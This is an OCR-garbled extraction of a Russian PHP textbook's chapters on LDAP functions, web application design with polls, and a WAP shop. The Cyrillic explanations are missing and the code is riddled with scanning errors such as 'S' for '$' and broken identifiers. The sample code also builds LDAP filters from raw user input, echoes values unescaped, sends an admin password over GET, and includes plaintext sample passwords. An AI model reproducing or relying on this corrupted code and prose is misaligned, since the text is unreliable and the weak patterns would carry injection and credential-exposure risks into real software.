. ber_identif ier, . ldap_next_attribute() result_entry_identifier, l d a p _ f i r s t _ a t t r i b u t e ( ) .



false .
ldap_next_entry()
int ldap_next_entry(int link_identifier, int result_entry_identifier)
, ldap_f i r s t _ e n t r y ( ) .
l d a p _ n e x t _ e n t r y ( ) ,
. ldap_next_entry() l d a p _ f i r s t _ e n t r y s u l t _ i d e n t i f i e r , l d a p _ f i r s t _ e n t r y ( ) . , false.

LDAP PHP

549


, , , , . , ,
.
ldap_add()
int ldap_add(int link_identifier, string dn, array entry)
ldap_add() .
,
, LDAP.
Objectclass , , (. . ).
l i n k _ i d e n t i f i e r ,
ldap_connect().
DN, .
, . LDIF FooWid :
entry["cn"] = "Don Joe III";
entry["mail"] = "djoe@exist.com";
entry["description"] = "Professional bungee-jumper";

ldap_mod_add()
int ldap_mod_add(int link_identifier, string dn, array entry)

DN. ,
.
ldap_add(). , ldap_mod_add() ,
ldap_add(). t r u e false .
ldap_mod_del()
int ldap_mod_del(int link_identifier, string dn, array entry)
DN.
, . ldap_del(), ..,
, , ,
, ,
, ldap_del(). t r u e
false .

550

14. LDAP

ldap_delete()
boolean ldap_delete(int link_identifier, string dn)
ldap_delete() LDAP, DN. t r u e false . LDAP , , ACL ( ) LDAP.
ldap_modify()
boolean ldap_modify(int link_identifier. string dn, array entry);
ldap_modify() LDAP. , ldap_add().
t r u e false .
. ACL
. ,
, , (, ) .
. , . ,
.


.
,
.
ldap_errno()
int ldap_errno(int link_identifier)
, . , ldap_err(). , ,
Idap_err2str(), .
ldap_error()
string ldap_error(int link_identifier)

l d a p _ e r r n o ( )
Idap_err2str(), .. , ,
. link_identif i e r , LDAP ,
, .

LDAP

551

Idap_err2str()
string Idap_err2str(int errno)
Idap_err2str() , . ,
. , .

LDAP
, , ,
.
, Foo
Widgets Inc. , :
-
,

,
, -
LDAP
,
.
,
:
<?php
// empdir_first.php

:
require("empdir_functions.php");


:
if (!isset($choice)) {
generateHTMLHeader("Click below to access the Directory");
.' generateFrontPage(); ;
> else if (strstr($choice, "ADD")) {
$firstCallToAdd = 1;

552

14. LDAP

empdir_add. php:
require("empdir_add.php");
} else {
IfirstCallToSearch = 1;
empdi r_search. php:
require("empdir_search.php");

(. 14.5):
? http:/,'localhost/ProPHP4/Chapler1 </empdlr_fir!*.php
File Edit View Search: go Bookmarks Tasks
, http i/flocalhost/FroPHP^Chapter 1 tfempdirj irst ,php

. 14.5.
empdi r_common. php
, :
<?php
//empdir_common. php

, :1
// include()
if (isset($EMPDIR_CMN)) {
1

, , include_once require_once. . . . .

LDAP PHP

553

return;
} else {
$EMPDIR_CMN = true;
}
//
DN :
SbaseON = "o=Foo Widgets, c=us";


LDAP. OpenLDAP,
LDAP:
$ldapServer = "www.foowid.com";
SldapServerPort = 4321;
'
, empdir_f unctions, php , . - , , HTML, ,
:
<?php
// empdir_f unctions, php
//
//
if (isset($EMPOIR_FUNCS)) {
return;
} else {
$EMPDIR_FUNCS = "true";
HTML , .
:
function generateHTMLHeader($message)
{
printf ("<head>. <title> Foo Widgets - Employee Directory </title>
</head>");
printf ("<body text=\"#000000\" bgcolor=\"#999999\" link=\"#OOOOEE\"
vlink=\"#551A8B\" alink=\"ftFFOOOO\">\n");
printf ("<h1>Foo Widgets Employee Directory</h1xbr><br>");
printf ("<table cellpadding=\"4\" cellspacing=\"0\"
border=\"0\" width=\"600\">");
printf ("<tr bgcolor=\"#dcdcdc\"Xtdxfont face=\"Arlal\"xb>");
printf ( "%s</b></font><brx/td>" , Smessage) ;
' printf ("<td align=\"right\">");

554

14. LDAP
printf ( "</f ontx/td></tr>" ) ;
printf("</table>");
printf("<br>");
1
printf("<br>");

}.'

, ,
. 14.5. HTML, :
function generateFrontPageO
{
printf ("<form method=\"post\" action=\"empdir_first.php\">");
printf ("<input type=\"submit\" name=\"choice\" value=\"SEARCH\">");
printf ("&nbsp; &nbsp; &nbsp;");
printf ("<input type=\"submit\" name=\"choice\" ,value=\"ADD\">");
printf("<br>");
printf("<br>");
printf("<ul>");
printf ("<li> Search for employees by clicking <i>SEARCH FOR
. EMPLOYEE</i> </li>");
printf ("<li> Add new employees (Admin only) by clicking <i>ADD A NEW
EMPLOYEE</i> </li>");
printf("<li> Modify employee details by clicking <i>SEARCH FOR
EMPLOYEES</i> first and then choosing the entry to
Modify</li>");
printf.("<li>. Delete an existing entry (Admin only) by clicking
<i>SEARCH FOR EMPLOYEES</i> first and then choosing the entry to
Delete</li>");
. printf ("</form>");

HTML, , . DN
, .
, API LDAP.
HTTP:
function promptPassword($mail, Sou, SactionScript)

printf () ( ) ( ).
( p r i n t f ("<br>");), p r i n t f () . echo p r i n t .
, HTML, (here doc). - . ..

LDAP PHP

555

printf ("<form method=\"GET\" action=\"%s\">", SactionScript);


printf( "Admin Password: <input type=\"password\"
name=\"adminpassword\">&nbsp; ");
printf("<input type=\"hidden\" name=\"mail\" value=\"%s\">",
urlencode($mail));
printf ("<input type=\"hidden\" name=\"ou\" value=\"%s\">",
urlencode($ou));
printf ("<input type=\"submit\" name=\"submit\" value=\"Submit\">");
printf ("</form>");
HTML:
function displayErrMsg($message)
{
printf ( "<blockquote><blockquote><blockquote><h3xf ont
color=\"#ccOOOO\">%s</fontx/h3></blockquote>
</blockquote></blockquote>\n", $message);
}
.
:;'" :.':
. .... :
:
LDAP DN:
function connectBindServer($bindRDN - 0, $bindPassword = 0)
{
global $ldapServer;
global $ldapServerPort;
$linkldentifier = ldap_connect($ldapServer, SldapServerPort);
.if (Ilinkldentifier) {
RDN ,
:
if (!$bindRDN && !$bindPassword) {
if (!@ldap_bind($linkldentifier)) {
displayErrMsg( "Unable to bind to LDAP server !!");
return 0;
}
} else {
if (!ldap_bind($linkldentifier, SbiridRDN, SbindPassword)) <
displayErrMsg( "Unable to bind to LDAP server !!'");
return 0;
} else {
displayErrMsg( "Unable to connect to the LDAP server!!");
return 0;
}
return $linkldentifier;
'

556

14. LDAP


:
function createSearchFilter($searchCriteria)
{
InoOfFieldsSet = 0;
if ($searchCriteria["cn"]) {
SsearchFilter = "(cn=*" . $searchCriteria["cn"] . "*)";
H-SnoOfFieldsSet;

:,}

if ($searchCriteria["sn"]) {
SsearchFilter .= "(sn=*" . $searchCriteria["sn"] . "*)";
++$nodfFieldsSet;
}
if ($searchCriteria["mail"]) {
SsearchFilter .= "(mail=" . $searchCriteria["inail"] . "*)";
++$noOfFieldsSet;
}
if ($searchCriteria["employeenumber"]) {
$searchFilter .= "(employeenumber=*" .
$searchCriteria["employeenumber"] . "*)";
++SnoOfFieldsSet;
}
if ($searchCriteria["ou"]) {
SsearchFilter .= "(ou=*" . $searchCriteria["ou"] . "*)";
-n-$noOfFieldsSet;
}
if ($searchCriteria["telephonenumber"]) {
SsearchFilter .= "(telephonenumber=" .
$searchCriteria["telephonenumber"] . "*)";
++$noOfFieldsSet;
A N D
:
if (SnoOfFieldsSet >= 2) {
SsearchFilter = "(&" .SsearchFilter. ")";'
}
return SsearchFilter;
,
connectBindServer( ), ,
createSearchFilter():
function searchDirectory($link!dentifier, SsearchFilter)

LDAP PHP
global SbaseDN;
SsearchResult = ldap_search($linkldentifier, SbaseDN, $searchFilter);
, :
if (ldap_count_entries($linkldentifier, $searchResult) <= 0) {
displayErrMsg("No entries returned from the directory");
return 0;
} else {
$resultEntries = ldap_get_entries($linkldentifier, SsearchResult);
return SresultEntries;

HTML:
function printResults($resultEntries)
{
printf("<table border width=\"100%%\" bgcolor=\"#dcdcdc\" nosave>\n");
printf("<trxtdxb>First Name</bx/td>
<tdxb>Last Name</bx/td>
<tdxb>E~mail</bx/td>
<td><b>Employee #</b></td>
<tdxb>Department</b></td>
<td><b>Telephone</bx/td>
<tdxb>Edit</b></td>
X/trx/b>\n");
SnoOfEntries = $resultEntries["count"];
for ($i = 0; $i < SnoOfEntries; $i++) {
if (!$resultEntries[$i]["cn"] && !$resultEntries[$i]["sn"])
continue;
$mailString = urlencode($resultEntries[$i]["mail"][0]);
SouString = urlencode($resultEntries[$i]["ou"][0]);
printf("<tr><td>%s</td>
<td>%s</td>
<td>%s</td>
<td>%s</td>
<td>%s</td>
<td>%s</td>
<td>
<a href=\"erapdir_modify. php?mail=%s&ou=%s&f irstCall=1\">
[Modify]</a>
<a href=\"erapdir_delete. php?mail=%s&ou=%s\">
tDelete]</gxtd>
</tr>\n",
$resultEntries[$i]["cn"][0],
$resultEntries[$i]["sn"][0],
$resultEntries[$i]["mail"][0],
$resultEntries[$i]["employeenumber"][0],
$resultEntries[$i]["ou"][0],

557

558

14. LDAP
$resultEntries[$i]["telephonenumber"][0],
SmailString, SouString,
SmailString, SouString);

}
printf("</table>\rT);
} \;..:-

, , , . , .
:
function generateHTMLForm($formValues, SactionScript, SsubmitLabel)

V;';'<

printf("<form method=\"post\" action=\"%s\"xpre>\n", SactionScript);


printf("First Name:&nbsp;&nbsp;<input type=\"text\" size=\"35\"
name=\"cn\" value=\"%s\"><br>\n",
(SformValues) ? $formValues[0]["cn"][0] : '");!
printfC'Last Name:&nbsp;&nbsp;&nbsp;<input type=\''text\" size=\"35\"
name=\"sn\" ; : :
value=\"%s\"xbr>\n",
($formValues) ? $formValues[0]["sn"][0] : "");
printf ( "E-mail :&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Snbsp; <input type=\"text\"
size=\"35\" name=\"mail\" value=\"%s\"><br>\n", (Sfo'rmValues) ?
$formValues[0]['Tnail"][0] : "");
printf("Employee no. Kinput type=\"text\" size=\"35\"
name=\"employeenumber\"
value=\"%s\"><br>\n"
,
($formValues) ? $formValues[0]["employeenumber"][0] : "");
printf ( "Department :&nbsp;&nbsp;<input type=\"text\" size=\"35\"
name=\"ou\" value=\"%s\"xbr>\n",
(SformValues) ? $formValues[0]["ou"][0] : "");
printf ( "Telephone :&nbsp;&nbsp;&nbsp;<input type=\"text\" size=\"35\"
name=\"telephonenumber\" value=\"%s\"><br>\n", ($formValues) ?
$formValues[0]["telephonenumber"][0] : "");

, ,
:
if (SsubmitLabel == "MODIFY") {
printf ("User Password :&nbsp;&nbsp;&nbsp;&nbsp;
<input type=\"password\" size=\"35\"
name=\"userpassword\"><br>\n");
, , :

LDAP PHP

559

if (SsubmitLabel == "ADD") {
printf("Admin Password:&nbsp;&nbsp;&nbsp;&nbsp;
<input type=\"password\" size=\"35\"
name=\"adminpassword\"xbr>\n");
}
pr.intf("<input type=\"submit\" value=\"%s\">", SsubmitLabel);
printf("</prex/form>");
; . ,";
.;; .;'"
.' .,";;'.. * -^

:
function returnToMain()
' ' < ..;'

printf("<brxform action=\''empdir_first.php\" method=\"post\">\n");


printf("<input type=\"submit\" VALUE=\"Click\">
to 'return to Main Page\n");
:

>

' .V'-;; ^-!; ' -.

, , - :
function closeConnection($linkIdentifier)
'

'''-

'"'";

' :

Idap close($llnkldentifier);

}
?>>' ' - . ' ' ;'

' ' '.;..' '. '. : " .

' '" -:""'

'

SEARCH. , . 14.6.
<?
//. empdir_search.php
include("empdi r_common. php");
:
SsearchFilter = "";

, :
if (isset($firstCallToSearcri)) {
generateHTMLHeader("Search using the following criteria:");
generateHTMLForm(0, "empdir_search.php", "SEARCH");
} else {
require("empdir_functions.php"); ;
,
:
if (!$cn && !$sn && !$mail && !Semployeenumber && !$ou.&&
!$telephonenumber) {

560

14. LDAP

generateHTMLHeader("Search using the following criteria:");


displayErrMsg("Atleast one of the fields must be filled !!");
generateHTMLForm(0, "empdir_search,php", "SEARCH");
} else {
alhost/ProPHP4, thapterl-t, empdir_first,|*p - Netscape 6
E* Search &> Bookmarks lasks Help

. 14.6.

, :
$searchCriteria["cn"J
= $;
$searchCriteria["sn"]
= $sn;
$searchCriteria["mail"]
= $mail;
$searcnCriteria["employeenumber"] = $employeenumber;
$searchCriteria["ou"]
= Sou;
$searchCriteria["telephonenumber"] = Stelephonenumber;
$searchFilter = createSearchFilter($searchCriteria);

:
$linkldentifier = connectBindServerQ;
if (Slinkldentifier) {

561

, . p r i n t R e s u l t s ( ):
SresultEntries = searchDirectory($linkIdentifier, SsearchFilter);
if (SresultEntries) {
generateHTMLHeader("Search Results:");
printResults($resultEntries);
returnToMain.Q;
}' else {
returnToMainO;
}
} else {
displayErrMsgC'Connection to LOAP server failed !!");
closeConnection($link!dentifier);
exit;

(. 14.7):
: cut iew Search Go Sookmarte Tasks

Mi;

fejjL:

Ql

htt

P://'o"lhosl:fioPHP4Pt'

3622

iMariceta

Documents Don* (0.531 s*cs)

Puc. 14.7.

, Modify
Edit :
<?php
// empdirjnodify.prip
include("empdir_common.php");
include("empdi r_functions.php");
if (isset($firstCall)) {

562

14. LDAP

. , , . :
$searchFilter = "(mail=*" . urldecode($mail) . ")";

:
$linkldentifier = connectBindServerO;
if (Slinkldentifier) { /
SresultEntry = searchDirectory($linkIdentifier, $searchFilter);
} else <
displayErrMsg("Connection to LDAP server failed !!");
}
generateHTMLHeader("Please modify fields: (e-mail & dept. cannot be
changed)");
HTML ,
.
MODIFY:
generateHTMLForm($resultEntry, "empdirjnodify.php", "MODIFY");
closeConnection($linkIdentifier);
.
} else :{
. :
:

SdnString = "mail=" . $mail . "," . "=". $ou . ","; . SbaseDN;


SadminRDN = "cn=Admin," . SbaseDN;
$newEntry["cn"]
= $cn;
'$newEntry["sn"]
= $sn;
$newEntry["employeenumber"] = Seraployeenumber;
$newEntry["telephonenumber"] = $telephonenumber;

, DN
:
Slinkldentifier = connectBindServer($dnString, $userpassword);
if (Slinkldentifier) {
if ((ldapjrodify($linkldentifier, SdnString, SnewEntry)) == false) {
displayErrMsgC'LDAP directory modification failed !!");
closeConnection($link!dentifier);
exit;
} else {
generateHTMLHeader("The entry was modified succesfully");
returnToMain();

LDAP PHP

563

} else {
displayErrMsg("Connection to LDAP server failed");
exit;

(. 14.8):
'4 ThapterH empdir modify.php?mM -. Netscape 6
1J0I Edit yew Search go Bookmarks lasks

Pleas* modify fields: (e-mail & dept. cannot be changed]

oe-Eyed

mm
mam

oiyx.@foowi.com

223453622

mm
orketing

Puc. 14.8.
, Delete Edit :
<?php

//empdir_delete. php
include("empdir_common. php");
include("empdir_functions, php");
, DN , :
SdnString = "mail=" . urldecode($mail) . ",=" . urldecode($ou) . "," .
$baseDN;

564

14. LDAP

, :
if (! isset($adminpassword)) {
generateHTMLHeade r ("Administrator action:");
promptPassword($mail, $ou, "empdir_delete.php");
return;

DN . - , HTTP LDAP:
tadminRDN = "cn=Admin," . SbaseDN;

:
SHnkldentifier = connect8indServer($adminRDN, Sadminpassword);
if ($linkldentifier) {

DN,
:
if (ldap_delete($linkldentifier, $dnString) == true) {
generateHTMLHeader("The entry was deleted succesfully");
returnToMain();
} else {
displayErrMsg( "Deletion of entry failed !!");
closeConnection($link!dentifier);
exit;
}
} else {
displayErrMsg( "Connection to L.DAP server failed!!");
exit;

, A D D
:
<?php
//empdir_add.php
if (isset($firstCallToAdd)) {
generateHTMLHeader( "Please fill in fields: (Name, Dept. and E-mail
mandatory)");
generateHTMLForm(0, "empdlr_add.php", "ADD");
} else {
require("empdir_common.prip");
require("empdir_f unctions. php");

LDAP PHP

565

, . ,
:
if (!$ || !Small || !$) {

generateHTMLHeader("Please fill in fields: ");


displayErrMsg("Minimally Name, Dept. and E-mail fields are
required!!");
generateHTMLForm(0, "empdir_add.php", "ADD");
} else {

, ,
:
$entryToAdd["cn"] = $;
$entryToAdd["sn"] = $sn;
$entryToAdd["mail"] = $mail;
$entryToAdd["employeenumber"] = $employeenumber;
$entryToAdd["ou"] = $ou;
$entryToAdd["telephonenumber"] = $telephonenumber;
$entryToAdd["objectclass"] = "person";
$entryToAdd["objectclass"] = "organizationalPerson";
$entryToAdd["objectclass"] = "inetOrgPerson";

DN, :
SdnString = "mail=" . Smail . "," . "ou=". $ou . "," . $baseDN;
DN,
:
SadtninRDN = "cn=Admin," . $baseDN;

:
$linkldentifier = connectBindServer($adminRDN, Sadminpassword);
if (Slinkldentifier) {

:
if (ldap_add($linkldentifier, SdnString, $entryToAdd) == true) {
generateHTMLHeader("The entry was added succesfully");
returnToMainQ;
} else {
displayErrMsg("Addition to directory failed ! ! " ) ;
closeConnection($link!dentifier);
returnToMain();
exit;
>
} else {
displayErrMsgC'Connection to LDAP server failed!");

566

14. LDAP
exit;

, ,
, (. 14.9):
http: localhost ProPHPI/ChapterU empdlr first.ptip - Netscape 6
Ed Xiew Search go Bookmarks tasks

. 14.9. ,

, API PHP LDAP . ,


HTTP. ,
, , .
, Idapadd, LDAP,
. :

LDAP

567

dn: o=Foo Widgets, c=us


objectclass: top
objectclass: organization
o: Foo Widgets
dn: ou=Engineering, o=Foo Widgets, c=us
objectclass: top
objectclass: organizationalUnit
ou: Engineering
dn: ou=Marketing, o=Foo Widgets, c=us
objectclass: top
objectclass: organizationalUnit
ou: Marketing
dn: mail=faginm@foowi.com, ou=Engineering, o=Foo Widgets, c=us
en: Fagin
sn: Maddog
objectclass: top
objectclass: person
objectclass: organizationalPerson
objectclass: inetOrgPerson
mail: faginm@foowi.com
ou: Engineering
employeenumber: 3123283622
telephonenumber: 666-767-2000
userpassword: faginm123
dn: mail=maryx@foowi.com, ou=Marketing, o=Foo Widgets, c=us
en: Mary
sn: Xeyed
objectclass: top
objectclass: person
objectclass: organizationalPerson
objectclass: inetOrgPerson
mail: maryx@foowi.com
ou: Marketing
employeenumber: 3223453622
telephonenumber: 111-767-2000
userpassword: maryx123
, OpenLDAP,
slapd.conf slapd:
access to attr=userPassword
by self write
by anonymous auth
by * none
access to *
by self write

568

14. LDAP
by dn="cn=Adfnin,o=Foo Widgets,c=us" write
by * read

,
, . , ,
. , ,
, .
OpenLDAP OpenLDAP (http://www.openldap.org/doc/admin/).

:

LDAP
LDAP
, LDAP
LDAP , LDAP
LDAP
open-source
API PHP LDAP
, API

15

, . , PHP- Apache ,
.
:
-




, HTML
, XML

-
-
(HTML). HTML - , , . . , HTML
, : , , (/) .

570

15.

, . ,
. Common Gateway Interface
(CGI), Perl, -.
ColdFusion, mod_perl, Python, ASP, JSP PHP.
-, ,
(. 15.1):
15.1. -

CGI

- . - Apache
- - ,

- ( Perl, , Python, Lisp)

mod_perl

Perl Apache.
,

mod_python

Python Apache.
, CGI

Java Servlets . Java


FastCGI

CGI.

ASP

Java (
,
)
,

.
Microsoft,
Microsoft Internet Information
Server


(content), . ,
. (Content
Management Systems, CMS) , , .

571

HTML . HTML WYSIWYG (What You See Is What You


Get), . , ,
. , , .


, , . , . . .
, , . ,
.
- :
(Content layer)
(Logic layer)
(Presentation
layer)
(. 15.1):

HTML

"




. 15.1. -


,
. ,
, ,
.
- (data model).
, . ,
. :


XML

,

572

15.

(Data Access Components), (Data Access Objects, ).


:
. , . , . ,
,
.
, b-, *-, +, -, , -
.
.
.
:
Polls:

.
: 40 .
: 250 .
Options:
.
: 40 .
: 80 .
: 4 .
Comments:
.
: (1 ) + + (2 ) +
:
,
: 40 .
, ,
, 40 .
Polls.
. ,
. . - .
, , , , .
File Structures and Object Oriented
Approaches in C++ Addison-Wesley (ISBN 0-201874-01-6).

573

, ,
, SQL XML. ,
, Google (http://www.google.com/),
, .
, , , ,
, .

, f l o c k ( ) , fwriteO,
fgets(), f p u t s ( ) , f o p e n ( ) , fcloseO, fseekQ, ftell(), u n l i n k ( ) , file_exists(), filesize() . . 9.


-. SQL , .
- (ERD), . ERD , . ,
:
Polls:
pollid integer(4)
pollname varchar(40)
question varchar(200)
Options:
pollid integer(4)
option varchar(80)
votes integer(4)
Comments:
pollid integer(4)
comment text
,
. - . ,
SQL.
:
( )



,

574

15.





:
,


. , Oracle, MySQL, PostgreSQL, Sybase DB2 ( 17-19). , , .
, .

( ).
.
PEAR (PHP Extension
and Add-on Repository - )
PHPLib. PEAR - , CPAN Perl. , PEAR PEAR, http://pear. php.net/. 17 .
.

XML
XML (Extended Markup Language - ), , W3C (World Wide Web Consortium), . ,
XML, DTD ,
XML .
,
XML, , . XML , . , XML
.

575

XML :
<pollsapp>
<question>WhiCh is 'your favorite color?</question>
: <option>
<name>blue</name>
<votes>6</votes>
</option>
<option>
<name>g reen</name>
<votes>7</votes>
</option>
<comment>I really like blue</comment>
<poll>
</pollsapp>

, poll, option votes


XML.
, , . , . XML
XML comment.
XML :

SQL , XML .

SQL , .
,
.
XML ,
.
- SQL
. XML XML. - XSLT.
, , XML,
, , .
XML, Ozone dbXML (http://www.dbxml.org/).
API PHP XML 21.
, .

576

15.


. , DTD XML.
,
.

, , .


- , . ,
. , , , , - . , , .

. , , -.
Polls
, , , , , . . ,
-, , .


, , . HTML CSS, Flash, , .
, , ,
.

,
, .
, , ,
, PDA, ,
. -

577

.
.
HTML, XHTML, XML, WML .
, ,
, . PDA .
, -, .
, .
, XML . , -.
, - , HTML. , ,
, .
HTML , . , , - :
HTML. HTML
.
HTML , . , , XML.



:
, HTML
, XML

, HTML
, HTML,
(. . 15.2).
. ,
.
193. 989

578

15.


' t k . ".."''::!

. 15.2.

- .
.


.
:




, -

579

. , .
XML
XML,
XML , ,
. , , . , , . ,
, , .

. , , , , , ,
. . .
,
.


, - .
.
,
.
.
, .


, . :

, , , ,
HTML. , .

.
, .

,
. :

580

15.

HTML
HTML 4.1 . , CSS. HTML
CSS - , , . HTML ,
W3C (http://www.w3c.org/) CSS
HTML.
XHTML
XHTML XML- HTML W3C.
HTML, : XML. XHTML
HTML , , XHTML
HTML.
HDML
HDML HTML PDA. HTML,
, .
WML
WML - XML
, . WML , , , WML. WAP
WML ( 16 WML).
SVG
SVG - XML . (, ), , . . XML (JPG, GIF BMP ).
SVG. SVG , ( ),
,
. SVG . W3C (http://www.w3.org/).
VOICE XML
XML - , XML'. . XML ,
. . Voice XML W3C.

581

, XML, , , -
. XML
.

, XML
, XML, , XML, XSLT (. 15.3):

r
=
=V
==^
MySQL
J IfPostgreSQLJ

^ F
^^
IF~
Oracle
I S
Q L Server]

. 15.3. , XML
XML :
XML
XML. - -

582

15.

. XML- -.
XML SELECT.
XML
XML . . ,
1. XML 21.
XSL
XSL ,
2. , , .
HTML, PDF, WML, XML .


, , . ,
. ? ,
,
. ,
.
,
,
. .
.
: - ,
.

,
. , , :







.

583


,
.
. , , , .
.
.


. -
, , ,
.


,
. , .


, . .
, .


, .
:
polls
pollid INTEGER(4)
question VARCHAR(80)

584

15.

poll_options
pollid INTEGER(4)
optionid INTEGER(4)
optname VARCHAR(80)
votes INTEGER(4)
:
CREATE TABLE polls(
pollid INTEGER(4) NOT NULL AUTO_INCREMENT,
question VARCHAR(80),.
PRIMARY KEY(pollid));
CREATE TABLE poll_0ptions(
pollid INTEGER(4) NOT NULL,
optionid INTEGEFK4) NOT NULL AUTOJNCREMENT,
optname VARCHAR(80),
votes INTEGER(4),
PRIMARY KEY(optionid));
CREATE TABLE currentjrall(
pollid INTEGER(4));


MySQL. , , .
(. 15.2):
15.2. ,

createPoll($question)

, pollid

getCurrentPolK)

pollid

getOptions($pollid)

pollid
optionid

getOptionName($optionid)

optionid

getOptionVotes($optionid) optionid ,
addVote($optionid)

addOption($pollid,$name)

removePoll($pollid)

removeOption($optionid)

setCurrent($pollid)

585

Poll_Data,
DB . MySQL
PostgreSQL PostgreSQL DB,
Poll_Data .


. , , , , . .
HTML,
.
-, ,
, .

.
, Poll_Admin P o l l _ A p p l i c a t i o n , .


HTML , , . . , ,
. , . HTML:
,
HTML ( HTML).


, , . ,
,
. HTML. , ,
.

1:
,
. , , .

586

15.

, HTML, .
HTML , . ,
, ,
. , . .

2:
.
, cookies. cookies,
. , cookies .
.

3: Flash
:
Flash ,
. Flash
, HTML,
HTML Flash- . , Flash- . . Flash 25.

- . , (), .
, . . -
.
-
, , XML .
API, ,
. , HTML XML.

16
WAP
. - . Wireless Markup
Language (WML) - .
WML (, http://mobile.yahoo.com/home/).

, :





,
. . , ,
:
, WML 1.1 .
cookies,
.

588

16. WAP

.
.
WML , WML.
WML, ,
1400 .
. ,
.
.

.
/
.
/ .

.

, .

.

.

.
. ,

.
.

. , , , .


, , -. , , . , .

589

/
. , . .
, ,
, .

, .
.
,
, .

(, ).
-
(. 16.1):

. 16.1. -

590

16. WAP


,
- WML.
,
/, .
(- , ),
, .
WAP (Wireless Access Protocol) WAP, , ,
, HTTP.
, - WAP, , ,
WAP (. 16.2):
WAP - , , WAP, (IP).

WAP

HTTP

\>

. 16.2.


:

,
,
:

Oracle, MySQL Sybase
, , , ,
.
.

591

MySQL. :
MySQL - ,

MySQL
MySQL API (, Perl, ),


WML
, . ,
, ,
WML .
:
Common Gateway Interface (CGI), Perl/C.
API .
, Java. API SQL Java JDBC .
JDBC .
, , PHP, JavaServer
Pages (JSP) Active Server Pages (ASP). API
.
:
(Linux, UNIX Windows NT)
- (Apache IIS).
- .
, ,
CGI.
, ,
. .


.
( )
(shop). , , -

592

16. WAP

/. . , (shop).


shop :
UserProfile
BookShop
MusicShop
Transaction
Session
UserProfile (. 16.1):
16.1.

Fname
Lname
Userld
Password
Address
City
Country
ZipCode
Gender
Age
Emailed
PhoneNumber
CardNo
ExpiryDate
CardType
AccountBalance



ID





- Master/Visa

BookShop (. 16.2):
16.2.

Itemno
Itemtype

ID


Title

Author

Price

593

MusicShop
(. 16.3):
16.3.

ItemNo

ItemType

CD/

Title

Artist

Price

Transaction (. 16.4):
16.4.


OrderNo
Userld

ID

ItemNo

.
MusicShop BookShop

Quantity

ItemNo,

Date

Status

- / (shipped/pending)

Session (. 16.5):
16.5.

lastAccessed

Id

Data


, ,
.
.
.

594

16. WAP


shop SQL.
SQL . SQL
mysql:
mysql> GRANT SELECT, INSERT, UPDATE, DELETE ON shop.* TO 'PHPialocalhOSf
IDENTIFIED BY "PHP";

,
shop , :
mysql> GRANT SELECT, INSERT, UPDATE, DELETE ON shop. TO 'PHP^1 IDENTIFIED BY
"PHP";
shop ,
SQL (shop, sql):
mysql < shop. sql
CREATE DATABASE IF NOT EXISTS: Shop;
USE shop;
CREATE TABLE UserProfile (
fname VARCHAR(32) NOT NULL, :
Iname VARCHAR(32) NOT NULL,
user-Id VARCHAR( 16) NOT NULL,
password VARCHAR(16) NOT NULL,
address VARCHAR(128) NOT NULL,
city VARCHAR(64) NOT NULL,
country VARCHAR(16) NOT NULL,
ZipCode VARCHAR(8) NOT NULL,
gender VARCHAR(8) NOT NULL,
age INTEGER NOT: NULL,
emailld VARCHAR(64) NOT NULL,
phoneNumber VARCHAR(16) NOT NULL,
cardNo VARCHAR(16) NOT NULL,
; expiry Date DATE NOT NULL,
cardType VARCHAR(16) NOT NULL,
accountBalance FLOAT NOT NULL,
PRIMARY KEY( use rid));
CREATE TABLE BookShop (
iternNo VARCHAR(20) NOT NULL,
MtemType VARCHAR(20) NOT NULL,
title VARCHAR(60) NOT NULL,
author VARCHAR(60) NOT NULL,
price FLOAT NOT NULL,
PRIMARY KEY(itemNo));

595

CREATE TABLE MusicShop (


itemNo VARCHAR(20) NOT NULL,
itemType VARCHAR(20) NOT NULL,
title VARCHAR(60) NOT NULL,
artist VARCHAR(60) NOT NULL,
price FLOAT NOT NULL,
PRIMARY KEY(itemNo,)); ;!',
CREATE TABLE Transaction (
orderNb INT NOT NULL PRIMARY KEY AUTO_INCREMENT,
userld VARCHAR(20) NOT NULL,
itemNo VARCHAR(20) NOT NULL,

quantity INT NOT NULL DEFAULT 0,


date DATE NOT NULL,
Status VARCHAR(20) NOT NULL);
CREATE TABLE Session (
lastAccessed TIMESTAMP,
id VARCHAR(255) NOT NULL,
data TEXT,
: PRIMARY KEY(id));

ItemNo, Title A u t h o r / A r t i s t okShop MusicShop. .


.
.
( /),
.
SQL (shopindices.sql):
USE shop;
CREATE
CREATE
CREATE
CREATE
CREATE
CREATE

INDEX
INDEX
INDEX
INDEX
INDEX
INDEX

indexOnBookltemNo ON BookShop(itemNo);
indexOnBookTitle ON BookShop(title);
IndexOnBookAuthor ON BookShop(autfior);
IndexOnMusicItemNo ON MusicShop(itemNo);
IndexOnMusicTitle ON MusicShop(title);
IndexOnMusicArtist ON MusicShop(artist);


, PHP- .

596

16. WAP

ID . ID .
. HTTP , . . -. ( -)
.
. . ID i s A u t h e n t i cated. , ,
i s A u t h e n t i c a t e d . $userld.


. HTTP ( ) .
(. 16.3):

HTTP
WAP

\ HTTP


. 16.3.

597

. , .
, .
,
. - , , .
, ,
,
.

WML
, ,
, WML ( , ). WML
- Wrox http://www.wrox.com/:
WML
. ,

. , .
WML . , . , ,

View Next Items ( ) .
, ,
WML.
, . , .
WML MIME text/vnd. wap. wml,
HTTP Content-Type: text/vnd. wap, wml.

, , :

SQL

598

16. WAP

/

, , . , . 17.
,
-. .
2.

.
. , WML.
(. 16.4-16.14) -
.
PC
. UP Simulator,
http://developer.phone.com/download/index, html.

.
,
- .
, , ID , ,
.
(
). ,
. WML - .
, , . ,
Login page (. 16.5):

LOON
. 16.4.

. 16.5.

599


,
. , (. 16.6):
.
Search,
. ,
(. 16.7):

(. 16.8)
.

, .
.
.
(. 16.9)
. ,
.
, . ,
ADD, ,
BACK.
,
,
,
, Display Cart,

,
(. 16.10):

I BOOK Shop
"J Shop
Display Cart;
S: Check Out
"SRCH"
'
"* V: ,:. '
:

..

'.

i '.:,-': :::.><

Puc. 16.6.

. 16.7.

. 16.8.

. 16.9.

-.-,.- ui
l>Lsc. for L
?, Pro

. 16.10.

600

16. WAP


.
,
, . ,
CHG, ( ), BACK (. 16.11):
,

.
, Address Details, ,
Credit Card Details, (. 16.12):

, . , ,
(. 16.13):

, , .
( ),
BACK,
,

(. 16.14):

[ Credit
Detail. :]

. 16.11.

. 16.12.

. 16.13.

. 16.14.

. Common, php
, .
. , ,
:
<?php
$dbHostName="localhost";
SdbName = "shop";
SdbUserName = "PHP";
SdbPassword = "PHP"

//
//
//
//

601

sendEr.ro Page ()
.
